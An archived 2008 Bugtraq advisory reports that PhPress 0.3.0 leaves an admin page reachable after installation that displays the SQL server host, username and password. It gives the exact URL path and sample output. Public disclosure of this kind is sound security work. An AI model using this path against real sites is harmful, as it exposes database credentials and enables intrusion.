bugtraq - PhPress-0.3.0 Read All Sql Information For Config

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080126100445.23374.qmail@securityfocus.com>
Date: 26 Jan 2008 10:04:45 -0000
From: r2t@...mail.it
To: bugtraq@...urityfocus.com
Subject: PhPress-0.3.0  Read All Sql Information For Config

# Name : PhPress-0.3.0  Read All Sql Information For Config

# Download From : http://phpress.org/

Or Direct Link : http://dfn.dl.sourceforge.net/sourceforge/phpress/PhPress-0.3.0.tar.gz

# Discovred By : Hasadya Raed
# E-mail       : r2t@...mail.com

==================================================

# Exploit :

After Installtion You See All Sql ( Username & Password ) Information For Config Here In This Link Like Here In Dir Users

http://localhost/phpress/users/admin/sql_phpress.php

You See In Page Like Here :

localhost root 000000 

SQL Server : Localhost

SQL Username : root

_______________
By Hasadya Raed